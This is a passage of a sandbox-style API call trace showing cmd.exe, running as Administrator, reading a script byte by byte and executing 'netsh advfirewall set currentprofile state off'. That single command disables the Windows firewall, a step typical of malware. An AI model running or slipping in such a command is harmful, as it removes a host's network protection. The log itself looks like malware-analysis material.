lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c5c, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0095.539] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.539] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.539] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.539] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c5e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0095.539] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.539] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.539] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.539] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c60, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0095.540] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.540] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.540] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.540] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c62, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0095.540] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.540] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.540] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.540] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c64, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0095.540] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.540] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.540] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.540] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c66, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0095.540] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.540] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.540] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.540] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c68, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0095.540] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.540] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.541] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.541] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c6a, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0095.541] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.541] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.541] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.541] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c6c, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0095.541] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.541] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.541] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.541] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c6e, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0095.541] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.541] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.542] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.542] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c70, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0095.542] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.542] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.542] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.542] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c72, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0095.542] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.542] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.542] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.542] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c74, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0095.542] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.542] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.542] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.542] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c76, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0095.542] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.542] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.542] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.542] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c78, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0095.542] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.543] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.543] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.543] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c7a, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0095.543] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.543] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.543] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.543] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c7c, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0095.543] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.543] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.543] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.543] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c7e, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0095.543] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.543] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.543] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.543] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c80, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0095.543] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.544] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.544] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.544] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c82, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0095.544] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.544] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.544] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.544] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c84, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0095.544] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.544] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.544] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.544] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c86, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0095.544] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.544] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.544] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.544] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c88, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0095.544] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.544] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.545] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.545] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c8a, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0095.545] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.545] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.545] ReadFile (in: hFile=0x284, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x598f5af6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0x598f5af6d8*=0x1, lpOverlapped=0x0) returned 1 [0095.545] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c8c, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0095.546] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.546] GetFileType (hFile=0x284) returned 0x3 [0095.546] _get_osfhandle (_FileHandle=0) returned 0x284 [0095.546] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0095.546] _get_osfhandle (_FileHandle=1) returned 0x290 [0095.546] GetFileType (hFile=0x290) returned 0x3 [0095.546] _get_osfhandle (_FileHandle=1) returned 0x290 [0095.546] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="netsh advfirewall set currentprofile state off\n", cchWideChar=-1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh advfirewall set currentprofile state off\n", lpUsedDefaultChar=0x0) returned 48 [0095.546] WriteFile (in: hFile=0x290, lpBuffer=0x7ff7ab039970*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0x598f5af678, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesWritten=0x598f5af678*=0x2f, lpOverlapped=0x0) returned 1 [0095.546] GetProcessHeap () returned 0x1a383f80000 [0095.546] RtlAllocateHeap (HeapHandle=0x1a383f80000, Flags=0x8, Size=0x4012) returned 0x1a383f88fe0 [0095.546] GetProcessHeap () returned 0x1a383f80000 [0095.546] RtlFreeHeap (HeapHandle=0x1a383f80000, Flags=0x0, BaseAddress=0x1a383f88fe0) returned 1 [0095.547] _wcsicmp (_String1="netsh", _String2=")") returned 69 [0095.547] _wcsicmp (_String1="FOR", _String2="netsh") returned -8 [0095.547] _wcsicmp (_String1="FOR/?", _String2="netsh") returned -8 [0095.547] _wcsicmp (_String1="IF", _String2="netsh") returned -5 [0095.547] _wcsicmp (_String1="IF/?", _String2="netsh") returned -5 [0095.547] _wcsicmp (_String1="REM", _String2="netsh") returned 4 [0095.547] _wcsicmp (_String1="REM/?", _String2="netsh") returned 4 [0095.547] GetProcessHeap () returned 0x1a383f80000 [0095.547] RtlAllocateHeap (HeapHandle=0x1a383f80000, Flags=0x8, Size=0xb0) returned 0x1a383f867b0 [0095.547] GetProcessHeap () returned 0x1a383f80000 [0095.547] RtlAllocateHeap (HeapHandle=0x1a383f80000, Flags=0x8, Size=0x1c) returned 0x1a383f86a50 [0095.548] GetProcessHeap () returned 0x1a383f80000 [0095.548] RtlAllocateHeap (HeapHandle=0x1a383f80000, Flags=0x8, Size=0x64) returned 0x1a383f819f0 [0095.549] GetConsoleOutputCP () returned 0x1b5 [0096.459] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7ab03fbb0 | out: lpCPInfo=0x7ff7ab03fbb0) returned 1 [0096.459] SetThreadUILanguage (LangId=0x0) returned 0x409 [0096.835] GetConsoleTitleW (in: lpConsoleTitle=0x598f5af4c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0097.465] malloc (_Size=0xffce) returned 0x1a384170840 [0097.465] ??_V@YAXPEAX@Z () returned 0x1a384170840 [0097.465] malloc (_Size=0xffce) returned 0x1a384180820 [0097.466] ??_V@YAXPEAX@Z () returned 0x1a384180820 [0097.467] _wcsicmp (_String1="netsh", _String2="DIR") returned 10 [0097.467] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9 [0097.467] _wcsicmp (_String1="netsh", _String2="DEL") returned 10 [0097.467] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6 [0097.467] _wcsicmp (_String1="netsh", _String2="COPY") returned 11 [0097.467] _wcsicmp (_String1="netsh", _String2="CD") returned 11 [0097.467] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11 [0097.467] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4 [0097.467] _wcsicmp (_String1="netsh", _String2="REN") returned -4 [0097.467] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9 [0097.467] _wcsicmp (_String1="netsh", _String2="SET") returned -5 [0097.467] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2 [0097.467] _wcsicmp (_String1="netsh", _String2="DATE") returned 10 [0097.467] _wcsicmp (_String1="netsh", _String2="TIME") returned -6 [0097.467] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2 [0097.467] _wcsicmp (_String1="netsh", _String2="MD") returned 1 [0097.467] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1 [0097.467] _wcsicmp (_String1="netsh", _String2="RD") returned -4 [0097.467] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4 [0097.468] _wcsicmp (_String1="netsh", _String2="PATH") returned -2 [0097.468] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7 [0097.468] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5 [0097.468] _wcsicmp (_String1="netsh", _String2="CLS") returned 11 [0097.468] _wcsicmp (_String1="netsh", _String2="CALL") returned 11 [0097.468] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8 [0097.468] _wcsicmp (_String1="netsh", _String2="VER") returned -8 [0097.468] _wcsicmp (_String1="netsh", _String2="VOL") returned -8 [0097.468] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9 [0097.468] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5 [0097.468] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9 [0097.468] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6 [0097.468] _wcsicmp (_String1="netsh", _String2="START") returned -5 [0097.468] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10 [0097.468] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3 [0097.468] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1 [0097.468] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2 [0097.468] _wcsicmp (_String1="netsh", _String2="POPD") returned -2 [0097.468] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13 [0097.468] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8 [0097.468] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12 [0097.468] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11 [0097.468] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1 [0097.468] _wcsicmp (_String1="netsh", _String2="DIR") returned 10 [0097.468] _wcsicmp (_String1="netsh", _String2="ERASE") returned 9 [0097.469] _wcsicmp (_String1="netsh", _String2="DEL") returned 10 [0097.469] _wcsicmp (_String1="netsh", _String2="TYPE") returned -6 [0097.469] _wcsicmp (_String1="netsh", _String2="COPY") returned 11 [0097.469] _wcsicmp (_String1="netsh", _String2="CD") returned 11 [0097.469] _wcsicmp (_String1="netsh", _String2="CHDIR") returned 11 [0097.469] _wcsicmp (_String1="netsh", _String2="RENAME") returned -4 [0097.469] _wcsicmp (_String1="netsh", _String2="REN") returned -4 [0097.469] _wcsicmp (_String1="netsh", _String2="ECHO") returned 9 [0097.469] _wcsicmp (_String1="netsh", _String2="SET") returned -5 [0097.469] _wcsicmp (_String1="netsh", _String2="PAUSE") returned -2 [0097.469] _wcsicmp (_String1="netsh", _String2="DATE") returned 10 [0097.469] _wcsicmp (_String1="netsh", _String2="TIME") returned -6 [0097.469] _wcsicmp (_String1="netsh", _String2="PROMPT") returned -2 [0097.469] _wcsicmp (_String1="netsh", _String2="MD") returned 1 [0097.469] _wcsicmp (_String1="netsh", _String2="MKDIR") returned 1 [0097.469] _wcsicmp (_String1="netsh", _String2="RD") returned -4 [0097.469] _wcsicmp (_String1="netsh", _String2="RMDIR") returned -4 [0097.469] _wcsicmp (_String1="netsh", _String2="PATH") returned -2 [0097.469] _wcsicmp (_String1="netsh", _String2="GOTO") returned 7 [0097.469] _wcsicmp (_String1="netsh", _String2="SHIFT") returned -5 [0097.469] _wcsicmp (_String1="netsh", _String2="CLS") returned 11 [0097.469] _wcsicmp (_String1="netsh", _String2="CALL") returned 11 [0097.469] _wcsicmp (_String1="netsh", _String2="VERIFY") returned -8 [0097.469] _wcsicmp (_String1="netsh", _String2="VER") returned -8 [0097.469] _wcsicmp (_String1="netsh", _String2="VOL") returned -8 [0097.469] _wcsicmp (_String1="netsh", _String2="EXIT") returned 9 [0097.469] _wcsicmp (_String1="netsh", _String2="SETLOCAL") returned -5 [0097.469] _wcsicmp (_String1="netsh", _String2="ENDLOCAL") returned 9 [0097.469] _wcsicmp (_String1="netsh", _String2="TITLE") returned -6 [0097.469] _wcsicmp (_String1="netsh", _String2="START") returned -5 [0097.470] _wcsicmp (_String1="netsh", _String2="DPATH") returned 10 [0097.470] _wcsicmp (_String1="netsh", _String2="KEYS") returned 3 [0097.470] _wcsicmp (_String1="netsh", _String2="MOVE") returned 1 [0097.470] _wcsicmp (_String1="netsh", _String2="PUSHD") returned -2 [0097.470] _wcsicmp (_String1="netsh", _String2="POPD") returned -2 [0097.470] _wcsicmp (_String1="netsh", _String2="ASSOC") returned 13 [0097.470] _wcsicmp (_String1="netsh", _String2="FTYPE") returned 8 [0097.470] _wcsicmp (_String1="netsh", _String2="BREAK") returned 12 [0097.470] _wcsicmp (_String1="netsh", _String2="COLOR") returned 11 [0097.470] _wcsicmp (_String1="netsh", _String2="MKLINK") returned 1 [0097.470] _wcsicmp (_String1="netsh", _String2="FOR") returned 8 [0097.470] _wcsicmp (_String1="netsh", _String2="IF") returned 5 [0097.470] _wcsicmp (_String1="netsh", _String2="REM") returned -4 [0097.470] ??_V@YAXPEAX@Z () returned 0x1 [0097.470] GetProcessHeap () returned 0x1a383f80000 [0097.470] RtlAllocateHeap (HeapHandle=0x1a383f80000, Flags=0x8, Size=0xffde) returned 0x1a383f88fe0 [0097.471] GetProcessHeap () returned 0x1a383f80000 [0097.471] RtlAllocateHeap (HeapHandle=0x1a383f80000, Flags=0x8, Size=0x70) returned 0x1a383f88320 [0097.471] _wcsnicmp (_String1="nets", _String2="cmd ", _MaxCount=0x4) returned 11 [0097.471] malloc (_Size=0xffce) returned 0x1a384180820 [0097.471] ??_V@YAXPEAX@Z () returned 0x1a384180820 [0097.471] GetProcessHeap () returned 0x1a383f80000 [0097.472] RtlAllocateHeap (HeapHandle=0x1a383f80000, Flags=0x8, Size=0x1ffac) returned 0x1a383f98fd0 [0097.474] SetErrorMode 